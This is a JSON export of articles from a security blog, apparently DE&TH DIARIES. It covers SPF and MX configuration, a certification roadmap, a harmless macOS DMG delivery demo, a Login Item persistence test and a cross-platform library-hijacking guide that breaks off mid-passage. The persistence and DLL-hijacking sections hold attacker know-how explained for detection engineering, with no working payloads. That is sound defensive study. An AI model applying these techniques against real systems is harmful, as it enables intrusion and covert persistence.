{
  "version": 1,
  "title": "DE&TH DIARIES / TERMINAL",
  "articles": [
    {
      "id": "understanding-mx-and-spf",
      "title": "I set up SPF for DEATH DIARIES, here’s what I learnt",
      "author": "Rich (Enleak)",
      "date": "2026-10-14",
      "category": "Email security",
      "summary": "How we configured SPF for DE&TH’s email and traced a real message from Zoho to Gmail: MX records, SPF policies and the DNS trail behind a pass.",
      "tags": [
        "spf",
        "mx",
        "dns",
        "email-security",
        "zoho",
        "field-notes"
      ],
      "url": "https://deathdiaries.com/blogs/understanding-mx-and-spf",
      "status": "published",
      "availability": "full-text",
      "textUrl": "https://deathdiaries.com/terminal/understanding-mx-and-spf.txt",
      "text": "DE&TH DIARIES\n\nI set up SPF for DEATH DIARIES, here’s what I learnt\nBy Rich (Enleak) | 2026-10-14\nEmail security | full-text\nStatus: published\n\nSource: https://deathdiaries.com/blogs/understanding-mx-and-spf\n\nIn this field note  \n\nThis is the SPF configuration we put in place for DE&TH’s email on deathdiaries.com. We followed a real message from Zoho to Gmail to understand how delivery and sender authorization fit together.\n\nSPF (Sender Policy Framework) lets a domain owner specify which email servers may send using their domain. The receiving email server checks that permission when a message arrives. Rich documented an SPF pass on a message sent from DE&TH through Zoho to Gmail. That result records authorization for the connecting server and the checked domain; it does not establish that the message’s contents are safe.\n\n## 01 MX is the delivery address\n\nBefore a sending server can deliver mail, it needs a destination. An MX query returns mail-server hostnames and their preference values. Smaller preference numbers take priority; additional destinations give the sender alternatives. The hostname then needs an address lookup so the connection can be made over IPv4 or IPv6. These are different jobs, even though both use DNS. RFC 5321 describes the delivery lookup. (https://www.rfc-editor.org/rfc/rfc5321#section-5)\n\nKeep a direction arrow in your notes. For a message addressed to Gmail, investigate Gmail’s receiving servers. For mail addressed to your own domain, investigate your domain’s receiving servers. An MX result describes the receiving side of that route; it is not a list of every machine that might send outgoing mail.\n\n```\ndig gmail.com MX +short\ndig gmail-smtp-in.l.google.com A +short\n```\n\n[Image: Gmail MX lookup highlighting the receiving hostname and preference value 5]\nhttps://deathdiaries.com/assets/spf-field-note/dd-mx-lookup.png\n (https://deathdiaries.com/assets/spf-field-note/dd-mx-lookup.png)Figure 1. Enleak’s capture from the setup: Gmail’s receiving hostname and MX preference.\n\n## 02 Identify what SPF is checking\n\nSPF compares a connecting server’s IP address with a policy for an SMTP identity. This walkthrough uses MAIL FROM, the envelope sender. That identity can differ from the visible From: header. SPF can also check the HELO identity; these are separate checks. RFC 7208 defines both. (https://www.rfc-editor.org/rfc/rfc7208#section-2)\n\nFor the message Rich checked, Gmail received the connection from 165.173.180.55. The envelope domain was deathdiaries.com. Those are the inputs to follow—not the IP of the laptop used to compose the message.\n\nConnecting server\n165.173.180.55\nEnvelope domain\ndeathdiaries.com\n\n[Image: A solitary figure beneath a dense web of overhead cables in a grainy violet cityscape.]\nhttps://deathdiaries.com/assets/spf-field-note/wired-lines.webp\n  The route is one question.\nPermission is another. \n\n## 03 Read the policy, one term at a time\n\nThe SPF policy lives in a DNS TXT record. The delivered email’s headers hold the receiving email server’s recorded result, such as spf=pass or Received-SPF: pass. The policy and the recorded result are separate pieces of the setup.\n\nWe published our TXT record through Spaceship, which manages the domain’s DNS. In Zoho, we checked its status under Admin Console → Domains → deathdiaries.com → Email Configuration → SPF.\n\n[Image: Zoho confirms the SPF record is configured successfully, with TXT and v=spf1 include:zohomail.com ~all outlined in red]\nhttps://deathdiaries.com/assets/spf-field-note/zoho-spf-configuration.png\n (https://deathdiaries.com/assets/spf-field-note/zoho-spf-configuration.png)Figure 2. Rich’s Zoho confirmation: the highlighted row shows the TXT record and SPF policy. Zoho reports that the record is configured successfully.\n\nSpaceship is where we published the record; Zoho displays its configuration status. A receiving email server retrieves the policy through DNS to perform the SPF check. Here is the lookup for our domain:\n\n```\ndig deathdiaries.com TXT +short\n\nv=spf1 include:zohomail.com ~all\n```\n\nThis is the SPF policy recorded for DE&TH’s email setup. A domain can have unrelated TXT records too; the SPF entry starts with v=spf1. Publish one SPF policy at a given name and combine the services that send for that domain within it. A mailbox provider, contact form and newsletter may use different infrastructure. Zoho’s configuration guidance (https://www.zoho.com/mail/help/adminconsole/spf-configuration.html) explains how to include those senders.\n\n[Image: Wireshark query for TXT records at deathdiaries.com]\nhttps://deathdiaries.com/assets/spf-field-note/dd-dns-query.png\n (https://deathdiaries.com/assets/spf-field-note/dd-dns-query.png)Figure 3. Packet 1 asks DNS for TXT records for deathdiaries.com. Name identifies the domain; Type identifies the requested record type.\n\n[Image: Wireshark DNS response containing the domain SPF policy]\nhttps://deathdiaries.com/assets/spf-field-note/dd-spf-policy.png\n (https://deathdiaries.com/assets/spf-field-note/dd-spf-policy.png)Figure 4. Packet 2 returns the SPF policy beginning v=spf1. An unrelated verification record was cropped out in the source.\n\n## 04 Follow the authorization trail\n\nOur domain’s policy led from deathdiaries.com to zohomail.com, then spf.zohomail.com. The relevant range was 165.173.180.0/24; the observed IP 165.173.180.55 was inside it.\n\n```\ndig zohomail.com TXT +short\ndig spf.zohomail.com TXT +short\n\n165.173.180.55 ∈ 165.173.180.0/24\n```\n\nAn include evaluates another policy against the same IP. An included pass matches. An included fail does not automatically make the outer policy fail; evaluation continues. If this outer policy reaches ~all, it returns softfail. DNS and policy errors can instead end evaluation with an error. The standard also limits DNS-querying terms to ten during evaluation. Read the include semantics (https://www.rfc-editor.org/rfc/rfc7208#section-5.2) before treating an include as a simple text substitution.\n\nFollow the permission\n\n### One IP. Three policies.\n\nOur actual email setup, step by step. This trace shows the recorded DNS results; it does not query live DNS.\n\nOur TXT policy asks SPF to evaluate Zoho’s policy against the connecting IP, 165.173.180.55.\n\n165.173.180.55165.173.180.0/24SPF pass\n\nThe same IP is checked throughout. The receiving email server still makes its own delivery decision.\n\n## 05 Separate a reproduced lookup from a recorded result\n\nThe three local TXT lookups produced six packets in Enleak’s capture: three requests and three replies. They reproduce the DNS trail. They are not a capture of Gmail’s internal processing.\n\nFor an investigation, keep two artifacts distinct: what your lookup returned, and what the receiving system reported for the delivered message. An Authentication-Results header is the receiving email server’s report of authentication checks. Its presence alone is not enough to trust it: the reporting system and the trust boundary matter. A forged result arriving from outside that boundary must not be accepted as your own infrastructure’s conclusion. RFC 8601 explains this trust boundary. (https://www.rfc-editor.org/rfc/rfc8601.html#section-7.1)\n\nA practical notebook can therefore record the message identifier, receipt time, reporting mail system, checked identity, connecting IP and result, alongside separately timestamped DNS observations. This is a suggested way to keep the reasoning inspectable; it is not a claim that a DNS lookup independently proves the contents of a historical message.\n\nA sender can be authorized.\nThe message still needs a closer look.\n\n## 06 A pass is useful. It is not the whole review.\n\nAuthentication is one layer of email handling. Gmail’s sender guidance covers SPF, DKIM and DMARC alongside transport security, DNS configuration and message practices. It recommends using all three authentication methods; bulk senders have additional requirements. Successful authentication does not remove the need to review the content or the recipient’s context. Google’s current sender guidelines (https://support.google.com/mail/answer/81126?hl=en) are a useful next stop when maintaining a domain’s email configuration.\n\nFor DE&TH, the next step is to inventory every service that sends mail for the domain and test representative messages from each one. Keep the result attached to the sender and the checked domain. If a new contact form or campaign tool appears later, that inventory gives you somewhere concrete to start reviewing its configuration.\n\nThese records and screenshots document the setup described here. Provider DNS records can change.\n\nKeep pulling the thread.\n\nRead Enleak’s original walkthrough  (https://enleak.dev/writing/understanding-mx-and-spf)More field notes  (https://deathdiaries.com/blogs)\n"
    },
    {
      "id": "road-to-htb-cdep",
      "title": "Road to HTB CDEP",
      "author": "Andy",
      "date": "2026-10-12",
      "category": "Career & training",
      "summary": "A selective roadmap for HTB’s Certified Detection Engineering Principal: all 13 path modules, focused preparation, and optional deeper study.",
      "tags": [
        "cdep",
        "htb",
        "detection-engineering",
        "windows",
        "linux"
      ],
      "url": "https://deathdiaries.com/blogs/road-to-htb-cdep/",
      "status": "published",
      "availability": "full-text",
      "textUrl": "https://deathdiaries.com/terminal/road-to-htb-cdep.txt",
      "text": "DE&TH DIARIES\n\nRoad to HTB CDEP\nBy Andy | 2026-10-12\nCareer & training | full-text\nStatus: published\n\nSource: https://deathdiaries.com/blogs/road-to-htb-cdep/\n\n[Image: DE&TH DIARIES]\nhttps://deathdiaries.com/blogs/road-to-htb-cdep/brand-wordmark.png\nField notes ↗ (https://deathdiaries.com/blogs)  \n\n# Road toHTB CDEP\n\n[Image: Industrial towers and dense cables, in the purple DE&TH DIARIES palette]\nhttps://deathdiaries.com/blogs/road-to-htb-cdep/cyber-industrial.webp\n\n[Image: Industrial architecture and narrow bridges from BLAME! by Tsutomu Nihei]\nhttps://i.pinimg.com/originals/76/86/8b/76868b0a032dbe0d4eab1f9badb4a2e5.jpg\n\nHTB Certified Detection Engineering Principal.\n13 required path modules, with preparation where it helps.\n\nOfficial HTB path order\n\nModules follow HTB’s official path order. Preparation notes fill gaps along the way.\n\nRead the guide in Markdown (https://deathdiaries.com/blogs/road-to-htb-cdep/roadmap.md).\n"
    },
    {
      "id": "from-dmg-to-execution",
      "title": "From DMG to Execution",
      "author": "Enleak",
      "date": "2026-08-02",
      "category": "Detection engineering",
      "summary": "Build a harmless macOS app and trace how its bundle and disk image lead to execution.",
      "tags": [
        "macos",
        "initial-access",
        "payload-delivery",
        "dmg"
      ],
      "url": "https://enleak.dev/writing/from-dmg-to-execution",
      "status": "published",
      "availability": "full-text",
      "textUrl": "https://deathdiaries.com/terminal/from-dmg-to-execution.txt",
      "text": "DE&TH DIARIES\n\nFrom DMG to Execution\nBy Enleak | 2026-08-02\nDetection engineering | full-text\nStatus: published\n\nSource: https://enleak.dev/writing/from-dmg-to-execution\n\nField note\n\n# From DMG to Execution\n\nPackaging a harmless macOS application inside a disk image and following it from bundle structure to execution.\n\nPublished Aug 02, 20263 min readmacos · initial-access · payload-delivery · dmg\n\nI have been digging into initial-access and payload-delivery techniques on macOS. To make DMG delivery less abstract, I built a harmless application, packaged it inside a disk image, and followed it from its bundle structure through execution. The application had one observable behavior: write Subscribe to DE&TH DIARIES to a text file on the Desktop.\n\n## Inside the application bundle\n\nA macOS .app is a directory that Finder presents as a single application. Its Contents/Info.plist stores configuration data, while executable code normally lives under Contents/MacOS.\n\nIn this bundle, CFBundleExecutable points macOS to DEATHDiariesDemo. The bundle identifier names the application, and LSUIElement marks it as an agent application that does not appear in the Dock. The executable itself creates no window.\n\n[Image: Terminal showing the DE&TH DIARIES application bundle and selected Info.plist values]\nhttps://enleak.dev/images/research/macos-dmg-execution-test/app-bundle.png\n (https://enleak.dev/images/research/macos-dmg-execution-test/app-bundle.png)Info.plist connects the application bundle to the Mach-O executable stored under Contents/MacOS.\n\nThe readable C source was kept outside the bundle and compiled into an ARM64 Mach-O executable. The small routine builds a path under the current user's Desktop, opens the proof file, writes the message, and exits.\n\n[Image: C source code that writes the DE&TH DIARIES proof file to the Desktop]\nhttps://enleak.dev/images/research/macos-dmg-execution-test/source-write-proof.png\n (https://enleak.dev/images/research/macos-dmg-execution-test/source-write-proof.png)The demo's complete observable behavior was creating a text file containing a known message.\n\n## Packaging the disk image\n\nI placed the application and an Applications shortcut in a staging directory, then converted that directory into a compressed disk image:\n\n```\nhdiutil create \\\n  -volname 'DE&TH DIARIES' \\\n  -srcfolder staging \\\n  -ov \\\n  -format UDZO \\\n  output/DEATH-DIARIES-Demo.dmg\n\n```\n\nOpening the resulting .dmg attached and mounted its filesystem so Finder could display the contents. At this point the application was available, but it had not been executed merely because the disk image was mounted.\n\n[Image: Finder showing the mounted DE&TH DIARIES disk image, its application, and an Applications shortcut]\nhttps://enleak.dev/images/research/macos-dmg-execution-test/mounted-dmg.png\n (https://enleak.dev/images/research/macos-dmg-execution-test/mounted-dmg.png)The mounted disk image exposes the packaged application and an Applications shortcut.\n\n## Proving execution\n\nI opened the application from the mounted volume. macOS resolved CFBundleExecutable, launched the Mach-O file under Contents/MacOS, and the program created DEATH-DIARIES-DMG-Proof.txt on the Desktop. Opening that file confirmed the expected message was written.\n\n[Image: Mounted DE&TH DIARIES application and the Desktop proof file it created after execution]\nhttps://enleak.dev/images/research/macos-dmg-execution-test/execution-proof.png\n (https://enleak.dev/images/research/macos-dmg-execution-test/execution-proof.png)The new Desktop file and its contents provide a simple, visible confirmation that the packaged application executed.\n\nSoftware distributed outside the App Store should use an appropriate Developer ID signature and Apple's notarization workflow. A DMG is a delivery container; it does not provide a security bypass, persistence, or elevated privileges by itself.\n\n## The takeaway\n\nThe disk image packages and presents the application. The app bundle tells macOS which executable to launch, and that executable determines what happens after the user opens it. Following each layer separately made the delivery chain much easier to understand:\n\n```\nDMG opened → volume mounted → app opened → executable resolved → proof file written\n\n```\n\n## Sources and further reading\n\n- macOS Red Team Operations (https://studentportal.whiteknightlabs.com/course/68) — White Knight Labs\n\n- About Bundles (https://developer.apple.com/library/archive/documentation/CoreFoundation/Conceptual/CFBundles/AboutBundles/AboutBundles.html) — Apple Developer\n\n- CFBundleExecutable (https://developer.apple.com/documentation/bundleresources/information-property-list/cfbundleexecutable) — Apple Developer\n\n- See the contents of a disk image on Mac (https://support.apple.com/en-ie/guide/mac-help/mchlp1700/mac) — Apple Support\n\n- Notarizing macOS software before distribution (https://developer.apple.com/documentation/security/notarizing-macos-software-before-distribution) — Apple Developer\n"
    },
    {
      "id": "macos-login-item-persistence-btm",
      "title": "macOS Login Item Persistence",
      "author": "Enleak",
      "date": "2026-07-29",
      "category": "Detection engineering",
      "summary": "Test how a macOS Login Item is registered, resolved and launched after sign-in.",
      "tags": [
        "macos",
        "persistence",
        "background-task-management",
        "detection-engineering"
      ],
      "url": "https://enleak.dev/writing/macos-login-item-persistence-btm",
      "status": "published",
      "availability": "full-text",
      "textUrl": "https://deathdiaries.com/terminal/macos-login-item-persistence-btm.txt",
      "text": "DE&TH DIARIES\n\nmacOS Login Item Persistence\nBy Enleak | 2026-07-29\nDetection engineering | full-text\nStatus: published\n\nSource: https://enleak.dev/writing/macos-login-item-persistence-btm\n\nField note\n\n# macOS Login Item Persistence\n\nFollowing a macOS Login Item from registration through app-bundle resolution and post-login execution.\n\nPublished Jul 29, 20263 min readmacos · persistence · background-task-management · detection-engineering\n\nI have been digging into persistence methods on macOS and wanted to test one from registration through execution. The focus here is a Login Item: what macOS stores, what Background Task Management (BTM) exposes, and how to prove the item actually ran.\n\nI created a background-only application named BTM Detection Demo. Its only job was to write a timestamp, process ID, and username to a log before exiting.\n\n## The application bundle\n\nA macOS .app is a structured directory. In this bundle, Contents/Info.plist describes the application and Contents/MacOS/BTMDetectionDemo contains the executable zsh script. The CFBundleExecutable value connects the two by telling macOS which file to launch when the app opens. LSBackgroundOnly lets it run without a normal window or Dock presence.\n\n[Image: Terminal showing the BTM Detection Demo application bundle and selected Info.plist fields]\nhttps://enleak.dev/images/research/macos-login-item-btm/app-bundle.png\n (https://enleak.dev/images/research/macos-login-item-btm/app-bundle.png)The application bundle contains the executable script, while CFBundleExecutable connects the bundle to that file.\n\n## Registering the Login Item\n\nI used osascript and System Events to register the application as a traditional Login Item. That created a durable instruction telling macOS to open it when the user logs in. Modern applications can instead use Apple's SMAppService (https://developer.apple.com/documentation/servicemanagement/smappservice) API to register and control bundled Login Items, LaunchAgents, and LaunchDaemons.\n\nThe demo appeared under System Settings → General → Login Items & Extensions → Open at Login.\n\n[Image: macOS Login Items and Extensions settings showing BTM Detection Demo under Open at Login]\nhttps://enleak.dev/images/research/macos-login-item-btm/login-item-registration.png\n (https://enleak.dev/images/research/macos-login-item-btm/login-item-registration.png)BTM Detection Demo registered as an application that macOS should open when the user logs in.\n\nBTM also created a record and reported the item as enabled, allowed, and notified. BTM provided visibility into the registration; the Login Item itself provided persistence. Registration proved the mechanism was configured, but not that the payload had executed.\n\nThe Unified Log captured the registration, BTM advisory, and updated BTM database being saved.\n\n[Image: Unified Log entries showing System Events adding the Login Item and Background Task Management posting an advisory and saving its database]\nhttps://enleak.dev/images/research/macos-login-item-btm/btm-unified-log.png\n (https://enleak.dev/images/research/macos-login-item-btm/btm-unified-log.png)The registration, BTM advisory, and database update captured in Unified Logging.\n\n## Proving execution\n\nI logged out and logged back in to test the trigger. The new console session began at 5:58 PM, and the application wrote a new event at 5:58:26 PM. Its new timestamp and process ID confirmed that macOS launched a fresh instance after login.\n\n[Image: Terminal showing the latest BTM Detection Demo log event after logging back in]\nhttps://enleak.dev/images/research/macos-login-item-btm/post-login-execution.png\n (https://enleak.dev/images/research/macos-login-item-btm/post-login-execution.png)A new timestamped event confirms that the registered application executed after login.\n\n## The takeaway\n\nPersistence is a durable way to regain execution when a trigger occurs. Here, the Login Item was the mechanism, user login was the trigger, and the timestamped event was the proof.\n\n## Sources and further reading\n\n- How to diagnose and control login and background items (https://eclecticlight.co/2023/07/04/how-to-diagnose-and-control-login-and-background-items/) — The Eclectic Light Company\n\n- Manage login items and background tasks on Mac (https://support.apple.com/en-gb/guide/deployment/depdca572563/web) — Apple Platform Deployment\n"
    },
    {
      "id": "one-chokepoint-three-loaders",
      "title": "One Chokepoint, Three Loaders",
      "author": "Jonathan, Rich & Andy",
      "date": "2026-07-25",
      "category": "Detection engineering",
      "summary": "Compare Windows, macOS and Linux library loading to find shared opportunities for detecting hijacking.",
      "tags": [
        "library-hijacking",
        "detection-engineering",
        "windows",
        "macos",
        "linux"
      ],
      "url": "https://enleak.dev/writing/one-chokepoint-three-loaders",
      "status": "in-progress",
      "availability": "full-text",
      "textUrl": "https://deathdiaries.com/terminal/one-chokepoint-three-loaders.txt",
      "text": "DE&TH DIARIES\n\nOne Chokepoint, Three Loaders\nBy Jonathan, Rich & Andy | 2026-07-25\nDetection engineering | full-text\nStatus: in-progress\n\nSource: https://enleak.dev/writing/one-chokepoint-three-loaders\n\nField note\n\n# One Chokepoint, Three Loaders\n\nA collaborative technical guide tracing library hijacking across Windows, macOS, and Linux to the shared detection opportunity: dependency resolution.\n\nPublished Jul 25, 2026Updated Jul 28, 202620 min readlibrary-hijacking · detection-engineering · windows · macos · linux\n\n## Three operating systems, one execution decision\n\nA dynamic loader locates the libraries required by a program, maps them into its address space, resolves imported symbols, and prepares the program to execute. Windows performs this with PE files and DLLs, macOS with Mach-O files and dylibs through dyld, and Linux with ELF files and shared objects through its ELF interpreter.\n\nLibrary hijacking occurs when an attacker influences which library the loader selects. Although the implementation differs, the defensive chokepoint is the same: a process loading code from an unexpected location or trust context.\n\nLoader Chokepoints / Cross-platform Guide\n\nParallel operating-system views. One shared decision boundary.\n\n01 / loader notesDLLPE → .dll\n\nWindows loader\n\n## Windows\n\nWritten by Jonathan\n\n### From Normal DLL Loading to DLL Hijacking\n\nA Windows application rarely contains every function it needs. Instead, it can use dynamic-link libraries, or DLLs, that provide reusable code and data. An application might rely on DLLs for graphics, cryptography, networking, or retrieving file-version information. This allows multiple programs to use common functionality without implementing all of it independently.\n\nApplications commonly use DLLs through load-time or run-time linking.\n\n#### Load-time linking\n\nWith load-time linking, information about required DLLs and imported functions is placed in the executable's Portable Executable, or PE, structure when the program is built. The PE Import Directory identifies these dependencies. When Windows starts the program, the loader resolves the required DLLs and imported functions. It then places the resolved functions' memory addresses into the Import Address Table, or IAT. The program uses those addresses when it calls the imported functions.\n\nImport Directoryexpected contacts→Windows loaderresolves locations→IATcompleted address book\n\nIn simple terms, the Import Directory is a list of contacts the program expects to need, while the IAT becomes the completed address book that tells the program where those contacts can be reached in memory. This analogy is simplified, but it gives us enough context to understand the loading process. Microsoft describes these structures in its PE format specification (https://learn.microsoft.com/en-us/windows/win32/debug/pe-format).\n\n#### Run-time linking\n\nRun-time linking happens after the program has already started. When the program needs a DLL, it can call LoadLibrary or LoadLibraryEx. Windows attempts to locate the requested module and map it into the program's virtual address space. If the operation succeeds, the function returns a handle representing the loaded module.\n\nAn exported function is a function that a DLL intentionally makes available for other code to call. The program can pass the DLL handle and the exported function's name to GetProcAddress, which returns the function's memory address. The program then uses that address to call the function. If the requested module is already loaded under the applicable conditions, Windows may return a handle to the existing module rather than mapping another copy. Microsoft explains this process in Run-Time Dynamic Linking (https://learn.microsoft.com/en-us/windows/win32/dlls/run-time-dynamic-linking).\n\nOnce a DLL is mapped into a process, its code does not run as a separate program. If a newly loaded DLL defines an entry point, Windows calls it with a DLL_PROCESS_ATTACH notification. This entry-point function is commonly named DllMain and gives the DLL an opportunity to perform limited initialization. DLL code can also execute later when the application calls one of its exported functions.\n\nIn either case, the code executes inside the loading process and under that process's existing security context. Mapping a DLL does not automatically give the process additional privileges. Microsoft documents this behavior in its LoadLibrary (https://learn.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-loadlibrarya) and DllMain (https://learn.microsoft.com/en-us/windows/win32/dlls/dllmain) documentation.\n\n### How Windows identifies the requested DLL\n\nNow that we understand how a DLL becomes part of a process, the next question is how Windows decides which DLL file to load.\n\nAn application can identify a DLL in three basic ways:\n\n- Full pathC:\\Program Files\\Example\\version.dll\n\n- Relative pathplugins\\version.dll\n\n- Bare filenameversion.dll\n\nA full path normally directs Windows to a particular location. A relative path still requires interpretation using directory context. A bare filename identifies the requested module but does not specify where its file is located.\n\nWhen an application does not provide a fully qualified path, Windows may need to resolve the DLL's location. This does not mean that every application follows one universal folder list. Depending on the loading context, Windows may consider DLL redirection, API sets, side-by-side manifests, modules already loaded into the process, KnownDLLs, package dependencies, loader configuration, and eligible search directories.\n\nThe result can also depend on whether the application is packaged or unpackaged and whether it uses functions or flags that modify the default search behavior. For an analyst, the important question is not simply, “What is the DLL search order?” It is, “Which resolution rules applied to this particular load, and which file did Windows ultimately select?” Microsoft documents these factors in Dynamic-link library search order (https://learn.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order).\n\n### Where side-by-side loading fits\n\nSide-by-side loading is one legitimate factor that can influence DLL resolution. Windows uses side-by-side assemblies to support applications that require different versions of shared components. An application manifest identifies the assemblies and versions to which the application should bind at run time. This helps prevent one application's installation from replacing a component required by another application.\n\nFor an analyst, this means that a simple directory search may not explain every DLL selection. If the observed DLL path appears unusual, the application's manifest may help explain why Windows selected that component. Side-by-side loading is legitimate Windows behavior and should not be confused with the attacker technique known as DLL side-loading. Microsoft explains the legitimate mechanism in its documentation on application manifests (https://learn.microsoft.com/en-us/windows/win32/sbscs/application-manifests) and side-by-side assembly sharing (https://learn.microsoft.com/en-us/windows/win32/sbscs/side-by-side-assembly-sharing).\n\n### How normal DLL loading becomes an attack opportunity\n\nThese normal loading decisions can create opportunities for abuse. Suppose an application requests a DLL without fully identifying its intended location. If an attacker can write to an eligible location, they may place a malicious DLL there using the filename the application expects.\n\nWhen the application runs, Windows applies the resolution rules relevant to that load. If Windows selects the attacker-controlled file, it maps the DLL into the application's address space. Code from the DLL can then execute inside the application's process context. Microsoft describes this risk in Dynamic-Link Library Security (https://learn.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-security).\n\nHowever, placing a DLL somewhere on disk is not enough by itself. Several conditions must come together before DLL hijacking can succeed.\n\n### What must be true for DLL hijacking to work?\n\nFirst, the application must request or resolve a DLL in a way that gives an attacker-influenced file a chance to be selected. The attacker must be able to place or replace a DLL in an eligible location and cause the susceptible application to run.\n\nThe supplied DLL must also be compatible with the loading process. For example, a 32-bit process cannot load a 64-bit DLL, and a 64-bit process cannot load a 32-bit DLL. Depending on how the application uses the library, the attacker-controlled DLL may need to provide expected exports or preserve enough legitimate functionality for the application to continue running.\n\nIf the DLL is selected successfully, its code executes within the host process's existing security context. This does not automatically create persistence or elevate privileges. Persistence requires a repeatable execution trigger. Privilege escalation depends on whether the host process runs with privileges the attacker does not already possess and whether the attacker can satisfy the other conditions required for the DLL to load. (Microsoft: DLL Security (https://learn.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-security); Microsoft: Process Interoperability (https://learn.microsoft.com/en-us/windows/win32/winprog64/process-interoperability); MITRE ATT&CK T1574.001 (https://attack.mitre.org/techniques/T1574/001/))\n\nThe stronger defensive signal is the relationship between file placement, process execution, DLL selection, module loading, and subsequent behavior.\n\n### DLL search-order hijacking\n\nDLL search-order hijacking occurs when an attacker influences which matching DLL Windows finds during resolution. If an application requests a DLL without a fully qualified path, Windows applies the rules and eligible directory order relevant to that load.\n\nAn attacker who can write to an earlier eligible location may place a DLL there using the requested filename. If Windows encounters that file before the intended library, it may select and load the attacker-controlled copy.\n\nMITRE ATT&CK describes this behavior as planting a trojan DLL in a location prioritized over the legitimate library. Microsoft independently documents how control of a searched directory can allow an attacker to supply a matching DLL. (MITRE ATT&CK T1574.001 (https://attack.mitre.org/techniques/T1574/001/); Microsoft: DLL Security (https://learn.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-security))\n\nSearch-order behavior can also play a role in the next technique, but DLL side-loading describes a more recognizable attacker setup.\n\n### DLL side-loading\n\nDLL side-loading uses a legitimate application to load an attacker-controlled DLL. The attacker commonly places a legitimate executable and malicious DLL together and then runs the executable. When the executable requests its expected DLL, normal loader behavior may cause Windows to select the nearby attacker-controlled copy.\n\nThe executable may be correctly signed, but that signature applies to the executable. It does not automatically authenticate the separate DLL or make the combined behavior trustworthy.\n\nAnalysts should determine whether the executable is running from its expected installation directory, whether the executable and DLL arrived together, and whether the process normally loads that DLL from that location. MITRE describes side-loading as positioning a legitimate application and malicious payload together so that the application loads the payload. (MITRE ATT&CK T1574.001 (https://attack.mitre.org/techniques/T1574/001/))\n\nSearch-order hijacking and side-loading can overlap. Search-order hijacking describes the loader behavior that causes an unintended DLL to be selected. Side-loading describes the attacker's setup: pairing a legitimate executable with an attacker-controlled DLL.\n\n### Phantom DLL hijacking\n\nPhantom DLL hijacking targets an application's reference to a DLL that is not normally present. The application may attempt to find an optional, removed, or otherwise missing DLL in several eligible locations. If an attacker identifies that behavior and can write to a suitable location, they may provide a DLL using the missing module's expected name. The application may then load the attacker-supplied file during a later execution.\n\nProcmon might reveal the original searches as NAME NOT FOUND events. These events are common and show only that a file lookup failed. They do not independently prove that the application is exploitable or that an attack occurred.\n\nStronger evidence would connect the failed searches to the later creation and successful loading of the matching DLL. MITRE's detection strategy follows the same principle by correlating file creation, process creation, and module-load telemetry rather than treating one failed lookup as proof. (MITRE ATT&CK T1574.001 (https://attack.mitre.org/techniques/T1574/001/); MITRE Detection Strategy DET0201 (https://attack.mitre.org/detectionstrategies/DET0201/))\n\n### Works cited\n\n- Application Manifests (https://learn.microsoft.com/en-us/windows/win32/sbscs/application-manifests)\n\n- DllMain Entry Point (https://learn.microsoft.com/en-us/windows/win32/dlls/dllmain)\n\n- Dynamic-Link Library Search Order (https://learn.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order)\n\n- Dynamic-Link Library Security (https://learn.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-security)\n\n- LoadLibraryA Function (https://learn.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-loadlibrarya)\n\n- PE Format (https://learn.microsoft.com/en-us/windows/win32/debug/pe-format)\n\n- Process Interoperability (https://learn.microsoft.com/en-us/windows/win32/winprog64/process-interoperability)\n\n- Run-Time Dynamic Linking (https://learn.microsoft.com/en-us/windows/win32/dlls/run-time-dynamic-linking)\n\n- Side-by-Side Assembly Sharing (https://learn.microsoft.com/en-us/windows/win32/sbscs/side-by-side-assembly-sharing)\n\n- MITRE ATT&CK T1574.001 (https://attack.mitre.org/techniques/T1574/001/)\n\n- MITRE Detection Strategy DET0201 (https://attack.mitre.org/detectionstrategies/DET0201/)\n\nMicrosoft Learn and MITRE ATT&CK. Accessed 27 July 2026.\n\nFollow to the chokepoint ↓ (https://enleak.dev/writing/one-chokepoint-three-loaders#loader-detection)\n\n02 / loader notesDYLIBMach-O → .dylib\n\ndyld\n\n## macOS\n\nWritten by Rich\n\n### Okay, so what is a Mach-O?\n\nA Mach-O is macOS's native object-file format. Executables, dynamic libraries, bundles, and object files can all be Mach-O images. At a high level, each image gives the system three things:\n\nHeaderWhat kind of file is this?Load commandsHow should it be mapped and linked?Segments + sectionsWhere are the actual code and data?\n\nThat is enough structure for us to begin asking useful questions without memorizing every field in the format.\n\n### Why does it need a header?\n\nThe header lets the kernel, dyld, and analysis tools identify the image before interpreting the rest of it. It records details such as the magic value, CPU architecture, file type, flags, and the number and combined size of its load commands.\n\n[Image: Terminal output identifying an ARM64 Mach-O executable, displaying its first 32 bytes, and printing its Mach header]\nhttps://enleak.dev/_next/image?url=%2Fimages%2Fresearch%2Fone-chokepoint-three-loaders%2Fmacos-mach-o-header.png&w=3840&q=75\n (https://enleak.dev/images/research/one-chokepoint-three-loaders/macos-mach-o-header.png)file, xxd, and otool -hv give us three views of the same binary. Open the image for the full-size output.\n\nThe header also reports ncmds 17 and sizeofcmds 1056. In plain English: seventeen load-command records follow the header and together occupy 1,056 bytes.\n\n### Why are there load commands?\n\nLoad commands describe how the image should be mapped, linked, started, and validated. Despite the name, they are not a script that executes from top to bottom. Think of them as records that different parts of the loading process consult for different reasons.\n\nLC_LOAD_DYLINKERWhich dynamic linker starts this image?LC_MAINWhere is the program's entry point?LC_LOAD_DYLIBWhich dynamic library is required?LC_CODE_SIGNATUREWhere is the embedded signature data?\n\n[Image: Selected Mach-O load commands showing the dynamic linker, main entry point, libSystem dependency, and code-signature location]\nhttps://enleak.dev/_next/image?url=%2Fimages%2Fresearch%2Fone-chokepoint-three-loaders%2Fmacos-load-commands.png&w=3840&q=75\n (https://enleak.dev/images/research/one-chokepoint-three-loaders/macos-load-commands.png)Selected records from otool -l. The neighboring LC_UUID and LC_FUNCTION_STARTS records appear because the command includes surrounding output.\n\nThis one screenshot already sketches the launch boundary: the image names /usr/lib/dyld as its dynamic linker, provides an entry offset through LC_MAIN, declares libSystem.B.dylib as a dependency, and points to its code-signature data.\n\n### Why does LC_LOAD_DYLIB exist?\n\nOur program does not contain every function it might use. During linking, the executable records the install names of its dynamic-library dependencies. At launch, dyld reads those records, finds the corresponding 